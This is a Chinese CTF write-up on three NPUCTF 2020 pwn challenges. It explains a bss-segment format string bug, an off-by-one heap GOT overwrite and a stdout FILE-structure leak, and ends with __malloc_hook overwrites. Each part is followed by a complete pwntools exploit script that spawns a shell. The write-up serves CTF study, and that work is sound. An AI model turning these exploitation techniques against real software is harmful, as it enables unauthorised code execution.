去年的一场比赛,今年来把去年不会做的题目来看一下,只在buu找到三道题,剩下两道好像是内核题,算了,估计找到也不会做。

npuctf_2020_level2

  bss段上的格式化字符串漏洞的利用。

  程序还是比较简单的,一个while循环套着一个read和printf,printf存在格式化字符串漏洞,buf是在bss段上。不能直接找偏移用pwntools模块生成payload,这里需要利用栈上的栈链来间接的修改。这里选择将返回地址修改成one_gadgets的地址拿shell。

  这里rbp+8的位置是返回地址,偏移为7,所以直接%7$p可以泄露libc地址,在rbp+0x18的位置有一条栈链,这里是0x7ffd4e443678 —▸ 0x7ffd4e443748 —▸ 0x7ffd4e444fce,实际上我们对偏移为9处进行写入,实际上修改的就是0x7ffd4e444fce,我们这个地址改成rbp+8的地址,让这条链变成0x7ffd4e443678 —▸ 0x7ffd4e443748 —▸ 0x7ffd4e443668。

  因为程序再次运行了,所以和上面的地址对应不上了,但是基本的逻辑还在,让这条链指向了rbp+8,这个时候我们找到0x7ffd742cc6e8。

  这里的偏移是35,对这里进行写入,其实就是修改0x7f48b4ed1b97这个值,把这个值改成one_gadgets,然后输入'66666666\x00'让程序返回,就拿到shell了。(这里的\x00用来截断,我做的时候在这里卡了半个小时)

  大概思路就是这样,剩下的都是一些调试就能出的细枝末节,直接贴exp了。

  1. 1 from pwn import *
  2. 2
  3. 3 p = process(['./pwn'],env={'LD_PRELOAD':'./libc-2.27-buu.so'})
  4. 4 elf = ELF('./pwn')
  5. 5 libc = ELF('./libc-2.27-buu.so')
  6. 6 context(os='linux', arch='amd64', log_level='debug')
  7. 7
  8. 8 def duan():
  9. 9 gdb.attach(p)
  10. 10 pause()
  11. 11
  12. 12 og = [0x4f2c5,0x4f322,0xe569f,0xe585f,0xe5858,0xe5863,0x10a38c,0x10a398]
  13. 13
  14. 14 p.sendline('%7$p-%9$p')
  15. 15 libc_base = int(p.recv(14),16)-231-libc.symbols['__libc_start_main']
  16. 16 p.recvuntil('-')
  17. 17 stack_ret = int(p.recv(14),16)-0xe0
  18. 18 low_ret = stack_ret&0xffff
  19. 19 print 'libc_base-->'+hex(libc_base)
  20. 20 print 'stack_ret-->'+hex(stack_ret)
  21. 21 print 'low_ret-->'+hex(low_ret)
  22. 22 for i in range(len(og)):
  23. 23 print str(i)+'-->'+hex(libc_base+og[i])
  24. 24 shell = libc_base+og[0]
  25. 25 sleep(0.2)
  26. 26
  27. 27 payload = '%'+str(stack_ret&0xffff)+'c%9$hn...'
  28. 28 p.sendline(payload)
  29. 29 p.recvuntil('...')
  30. 30 sleep(0.2)
  31. 31
  32. 32 payload = '%'+str(shell&0xffff)+'c%35$hn...'
  33. 33 p.sendline(payload)
  34. 34 p.recvuntil('...')
  35. 35 sleep(0.2)
  36. 36
  37. 37 payload = '%'+str((stack_ret&0xffff)+2)+'c%9$hn...'
  38. 38 p.sendline(payload)
  39. 39 p.recvuntil('...')
  40. 40 sleep(0.2)
  41. 41
  42. 42 payload = '%'+str((shell>>0x10)&0xff)+'c%35$hhn...'
  43. 43 p.sendline(payload)
  44. 44 p.recvuntil('...')
  45. 45 sleep(0.2)
  46. 46
  47. 47 payload = '66666666\x00'
  48. 48 p.send(payload)
  49. 49 sleep(0.2)
  50. 50 p.interactive()

easyheap

  没开pie,RELRO:    Partial RELRO,可写got表。增删查改功能都有,在edit中存在off by one漏洞。

  对堆块进行构造,利用edit函数修改指针,将头指针指向got表泄露libc地址,然后修改atoi为system,输入'/bin/sh\x00'进行拿shell。

  exp:

  1. 1 from pwn import *
  2. 2
  3. 3 p = process('./pwn')
  4. 4 elf = ELF('./pwn')
  5. 5 libc = ELF('./libc.so.6')
  6. 6 context.log_level = 'debug'
  7. 7
  8. 8 def duan():
  9. 9 gdb.attach(p)
  10. 10 pause()
  11. 11
  12. 12 def add(size,content):
  13. 13 p.sendlineafter('choice :','1')
  14. 14 p.sendlineafter('only) : ',str(size))
  15. 15 p.sendafter('Content:',content)
  16. 16
  17. 17 def edit(index,content):
  18. 18 p.sendlineafter('choice :','2')
  19. 19 p.sendlineafter('Index :',str(index))
  20. 20 p.sendafter('Content:',content)
  21. 21
  22. 22 def show(index):
  23. 23 p.sendlineafter('choice :','3')
  24. 24 p.sendlineafter('Index :',str(index))
  25. 25
  26. 26 def delete(index):
  27. 27 p.sendlineafter('choice :','4')
  28. 28 p.sendlineafter('Index :',str(index))
  29. 29
  30. 30 atoi_got = elf.got['atoi']
  31. 31
  32. 32 add(0x18,'aaaaaaaa') #0
  33. 33 add(0x18,'bbbbbbbb') #1
  34. 34 edit(0,'aaaaaaaa'*3+'\x41')
  35. 35 delete(1)
  36. 36 add(0x38,'cccccccc')
  37. 37 edit(1,p64(0)*3+p64(0x21)+p64(0x38)+p64(atoi_got))
  38. 38 show(1)
  39. 39 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.symbols['atoi']
  40. 40 print 'libc_base-->' + hex(libc_base)
  41. 41
  42. 42 system = libc_base + libc.symbols['system']
  43. 43
  44. 44 edit(1,p64(system))
  45. 45 p.recvuntil('choice :')
  46. 46 p.sendline('/bin/sh\n')
  47. 47 p.interactive()

bad_guy

  保护全开,堆菜单题,但是没有show函数,不能leak libc。edit函数存在堆溢出,随便溢出。

  思路:fastbins加溢出,构造unsorted chunk,释放得到libc地址,修改后两个字节,'\xdd\x65',这里的0x65dd,6是1/16的概率打到io结构体上,5dd是固定的偏移,这里正好能够绕过fastbins的检查,在这里申请chunk,能修改到stdout结构体的东西。

  这里需要将flags的标志位改成0xfbad1800,_IO_read_ptr、_IO_read_end、_IO_read_base可以随便覆盖,需要将_IO_write_base的末尾改小,改成'\x00‘,这样能输出更多东西。然后就会输出libc地址,拿到libc地址之后就是常规的打__malloc_hook拿shell了。

  1. 1 from pwn import *
  2. 2
  3. 3 #p = process('./pwn')
  4. 4 elf = ELF('./pwn')
  5. 5 libc = ELF('./libc.so.6')
  6. 6 #libc = ELF('./libc-2.23.so')
  7. 7 context.log_level = 'debug'
  8. 8
  9. 9 def duan():
  10. 10 gdb.attach(p)
  11. 11 pause()
  12. 12
  13. 13 def add(index,size,content):
  14. 14 p.sendlineafter('>> ','1')
  15. 15 p.sendlineafter('Index :',str(index))
  16. 16 p.sendlineafter('size: ',str(size))
  17. 17 p.sendafter('Content:',content)
  18. 18
  19. 19 def edit(index,size,content):
  20. 20 p.sendlineafter('>> ','2')
  21. 21 p.sendlineafter('Index :',str(index))
  22. 22 p.sendlineafter('size: ',str(size))
  23. 23 p.sendafter('content: ',content)
  24. 24
  25. 25 def delete(index):
  26. 26 p.sendlineafter('>> ','3')
  27. 27 p.sendlineafter('Index :',str(index))
  28. 28
  29. 29 og = [0x45226,0x4527a,0xf0364,0xf1207]
  30. 30 #og = [0x45216,0x4526a,0xf02a4,0xf1147]
  31. 31
  32. 32 while True:
  33. 33 try:
  34. 34 p = process('./pwn')
  35. 35 add(0,0x20,'aaaaaaaa')
  36. 36 add(1,0x20,'bbbbbbbb')
  37. 37 add(2,0x60,'cccccccc')
  38. 38 add(3,0x20,'dddddddd')
  39. 39 delete(2)
  40. 40 edit(0,0x40,'aaaaaaaa'+p64(0)*4+p64(0xa1))
  41. 41 delete(1)
  42. 42 add(1,0x20,'aaaaaaaa')
  43. 43 edit(1,0x48,'aaaaaaaa'+p64(0)*4+p64(0x71)+'\xdd\x25')
  44. 44 add(2,0x60,'aaaaaaaa')
  45. 45 add(4,0x60,'a'*0x13+p64(0)*4+p64(0xfbad1800)+p64(0)*3+'\x00')
  46. 46 p.recvuntil('\x7f')
  47. 47 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x83-libc.symbols['_IO_2_1_stdout_']
  48. 48 print 'libc_base-->'+hex(libc_base)
  49. 49 shell = libc_base+og[3]
  50. 50 malloc_hook = libc_base+libc.symbols['__malloc_hook']
  51. 51 print '------>'+hex(malloc_hook-0x23)
  52. 52 sleep(3)
  53. 53 print '---------------------'
  54. 54 delete(2)
  55. 55 edit(1,0x40,'zzzzzzzz'+p64(0)*4+p64(0x71)+p64(malloc_hook-0x23))
  56. 56 add(2,0x60,'aaaaaaaa')
  57. 57 add(7,0x60,'a'*0x13+p64(shell))
  58. 58 p.sendlineafter('>> ','1')
  59. 59 p.sendlineafter('Index :','7')
  60. 60 p.sendlineafter('size: ',str(0x60))
  61. 61 #duan()
  62. 62 break
  63. 63 except:
  64. 64 p.close()
  65. 65
  66. 66 p.sendline('cat flag\x00')
  67. 67 p.recv()
  68. 68 p.interactive()

2020 NUPCTF pwn题目的更多相关文章

  1. SCTF 2014 pwn题目分析

    因为最近要去做ctf比赛的这一块所以就针对性的分析一下近些年的各大比赛的PWN题目.主防项目目前先搁置起来了,等比赛打完再去搞吧. 这次分析的是去年的SCTF的赛题,是我的学长们出的题,个人感觉还是很 ...

  2. 解决pwn题目加载指定libc版本的问题

    因为本地和远程的libc版本不同,pwn题目调试起来会有影响,所以来记录一下用patchelf和glibc-all-in-one来解决这个问题过程. 下载工具 下载patchelfgit clone ...

  3. BIT 常态化在线CTF系统 pwn题目

    偶然得到这个平台,发现是BIT的CTF平台,应该是平时的阶段性的训练题目.看了看题,其他方向的题目感觉都是入门题,但是pwn题目,发现还是比入门题难一点点的,来记录一下. pwn1 栈上任意位置的读写 ...

  4. WHUCTF PWN题目

    花了大概两天时间来做WHUCTF的题目,第一次排名这么靠前.首先感谢武汉大学举办这次萌新赛,也感谢fmyy的师傅的耐心指导,让我第一次做出堆的题目来. pwnpwnpwn 这是一道栈题目,32位程序, ...

  5. UNCTF2020 pwn题目

    YLBNB 用pwntools直接连接,然后接受就行. 1 from pwn import * 2 3 p = remote('45.158.33.12',8000) 4 context.log_le ...

  6. ISITDTU CTF 2020 部分Web题目Writeup

    周末,跟着m3w师傅打ISITDTUCTF,m3w师傅带弟弟上分,Tql! Web1 给了源码: <?php class Read{ public $flag; public function ...

  7. 使用pwn_deploy_chroot部署国赛pwn比赛题目

    目录 使用pwn_deploy_chroot部署国赛pwn比赛题目 一.前言 二.Docker 三.部署镜像 四.pwn_deploy_chroot 五.check && exp 六. ...

  8. 【pwn】学pwn日记——栈学习(持续更新)

    [pwn]学pwn日记--栈学习(持续更新) 前言 从8.2开始系统性学习pwn,在此之前,学习了部分汇编指令以及32位c语言程序的堆栈图及函数调用. 学习视频链接:XMCVE 2020 CTF Pw ...

  9. pwn学习之二

    刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字 ...

随机推荐

  1. [51nod1237]最大公约数之和V3

    $\sum_{i=1}^{n}\sum_{j=1}^{n}gcd(i,j)\\$ $=\sum_{d=1}^{n}d\sum_{i=1}^{n/d}\sum_{j=1}^{n/d}\varepsilo ...

  2. java 后台通过IO流把文件传到前端并下载

    我的业务需求是两个不同的web程序放在不同的服务器上,web程序A要访问到web程序B上传上来的文件,所以用到了这一个IO读取文件的接口 JAVA代码(排版有点问题  已经尽力补救了(:3_ヽ)_) ...

  3. Python画一个四点连线并计算首尾距离

    import turtle import math #先定义4个坐标 x1,y1=100,100 x2,y2=100,-100 x3,y3=-100,-100 x4,y4=-100,100   #然后 ...

  4. 【BZOJ 4668 冷战】

    题目: [BZOJ 4668 冷战] 思路: 因为考虑强制在线,我们是肯定要维护形状的 我们发现如果\((u,v)\)这条边如果\(u,v\)已经连上,那么对于最终答案这条边是没有贡献的 所以我们发现 ...

  5. 洛谷 P5502 - [JSOI2015]最大公约数(区间 gcd 的性质+分治)

    洛谷题面传送门 学校模拟赛的某道题让我联想到了这道题-- 先讲一下我的野鸡做法. 首先考虑分治,对于左右端点都在 \([L,R]\) 中的区间我们将其分成三类:完全包含于 \([L,mid]\) 的区 ...

  6. CF1578I Interactive Rays:ICPC WF Moscow Invitational Contest I 题解

    题意简述:在平面上有一个坐标 \((x_c,y_c)\) 和半径 \(r\) 都是整数的圆 \((1\leq r_c\leq \sqrt{x_c^2+y_c^2}-1)\),你可以询问不超过 \(60 ...

  7. Matlab指针

    Matlab指针 第一印象貌似是Matlab中不存在指针,所有变量与函数的赋值都是按值传递的,不会对参数进行修改.其实Matlab提供了handle类作为指针代替品.只要我们利用handle子类,就可 ...

  8. R语言与医学统计图形-【13】ggplot2几何对象之盒形图

    ggplot2绘图系统--几何对象之盒形图 参数: geom_boxplot(mapping = , #lower,middle,upper,x,ymax,ymin必须(有默认) #alpha/col ...

  9. 一个好用的快速安装lnmp环境包lnmp1-6

    一个好用的快速安装lnmp环境包lnmp1-6 地址:https://lnmp.org/tag/lnmp1-6/

  10. Unity——Js和Unity互相调用

    Unity项目可以打包成WebGl,打包后的项目文件: Build中是打包后的Js代码: Index.html是web项目的入口,里面可以调整web的自适应,也可以拿去嵌套: TemplateData ...